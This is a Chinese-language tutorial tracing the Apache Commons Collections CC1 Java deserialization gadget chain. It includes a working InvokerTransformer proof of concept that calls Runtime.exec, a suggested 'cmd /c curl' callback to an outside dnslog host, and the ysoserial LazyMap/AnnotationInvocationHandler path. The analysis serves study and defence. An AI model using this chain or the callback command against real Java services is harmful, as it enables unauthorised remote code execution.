前言
Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发。
commons-collections组件反序列化漏洞的反射链也称为CC链,自从apache commons-collections组件爆出第一个java反序列化漏洞后,就像打开了java安全的新世界大门一样,之后很多java中间件相继都爆出反序列化漏洞。本文分析java反序列化CC1链。
阅读本篇文章所需基础:
java反射机制
环境搭建
idea
commons-collections jar包
commons-collections jar包获取方法
1.Maven仓库获取
2.Maven项目导入
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency>
利用链分析
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; public class Cc1 { public static void main(String[] args) { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] {null,new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc"})}); chain.transform(123); } }
代码格式简单调整一下
确认可以弹出计算器
shift+f9 调试一下,可以发现,触发弹出计算器的位置在这一句
chain.transform(123);
可以从这一句跟进,查看它后续的运行情况
可以记录一下此时chain这个对象的值,方便后续分析
f7跟进后可以看到,调用的transform内容为:调用上面chain中,iTransformers数组内的每一个元素的transform函数,传入的参数是object=123
当i=0时,调用如下
此时objcet变为Runtime类名
接下来进入到第二个元素的transform,注意:传入的object input为上一步中返回的class java.lang.Runtime。可以简单看一下这段代码,首先if条件不满足input为空,所以进入else;
else中,首先通过getClass记录了input对象的类名,类名为class java.lang.Runtime;
接下来,调用cls的getMethod方法并进行invoke(反射的基本操作,这一段其实就是在用反射)。
循环下来可以很清楚的看到,调用了Runtime.exec,而且参数为calc
所以调试执行了这一句的时候,计算器会弹出
return method.invoke(input, this.iArgs);
漏洞利用
既然清楚了漏洞原理,很容易发现,只需要通过Runtime.exec 调用cmd,传入想要执行的命令,就可以形成漏洞利用,例如将calc修改为
cmd /c curl f4ykmb.dnslog.cn
编译运行,可以看到
既然确定可以达到预期效果,那么接下来就需要通过一些操作达到远程利用了。
Apache Commons Collections主要提供了两个类,TransformedMap和LazyMap类,其可以修饰一个Map数据,当对该Map数据进行具体操作时就会触发transform。Apache Commons Collections反序列化的CC链主要使用的是TransformedMap类,而Ysoserial CC1链主要使用的是LazyMap类。
这里简单讲解一下关于Ysoserial的CC1链构造
Ysoserial的CC1链构造主要依赖了commons-collections 中的LazyMap类下的get函数,其中调用了transform()
接下来可以看代码
通过decorate(),可以创建一个LazyMap对象,但是由于其get方法并不可控,所以需要
寻找一个特定的可序列化类,该类重写了readObject( )函数,并且在readObject( )中调用了lazyMap的get()函数。
刚好AnnotationInvocationHandler类重写了readObject( )函数,但其并没有明确的调用get()函数
其中没有明确调用get方法,但是AnnotationInvocationHandler类实现了InvocationHandler接口,其invoke( )函数,部分代码如下
红框部分的代码,调用了memberValues.get()函数,而switch函数的作用是判断var7变量值,只要var7的值为0、1、2之外的值,就可以进入default分支。
继续往上面看,上面的代码中可以发现,当代理的对象调用toString,hashCode,annotationType时,分别对应返回0、1、2三种情况
追查this.memberValues的来源可以发现,这个memberValues的值来自构造函数传入,并且为Map类型,所以可以满足构造条件,只要调用AnnotationInvocationHandler实例对象的invoke方法就可以触发攻击链,导致代码执行。
每一个proxy代理实例都有一个关联的调用处理程序InvocationHandler,而invoke方法就是代理对象调用方法时的调用处理程序。
因此需要构造一个动态代理的对象,让其调用方法,从而触发invoke方法。
AnnotationInvocationHandler的readObject方法下,this.memberValues是可控的,当其是一个AnnotationInvocationHandler类生成的动态代理对象时,在调用entrySet()方法时,会自动去调用invoke方法,而由于其调用的不是toString,hashCode等方法,就会执行上面提到过的Object var6 = this.memberValues.get(var4),从而完成攻击链条,导致代码执行。
总结
InvokerTransformerCC1链的漏洞点位于InvokerTransformer.class中反射加载参数可控
那么只需要调用到这个点,就可以触发漏洞,可以参考ysoserial中的CC1利用
ysoserial中的CC1链,是使用LazyMap构造的,LazyMap构造的整条攻击路径为
redObject()->this.memberValues.entrySet()->InvocationHandler的invoke()->this.memberValues.get()->LayzMap的get()->this.factory.transformer()->chainedTransformer的transform->利用InvokerTransformer的transform构造Runtime对象(漏洞点处那一段)->执行Runtime.exec()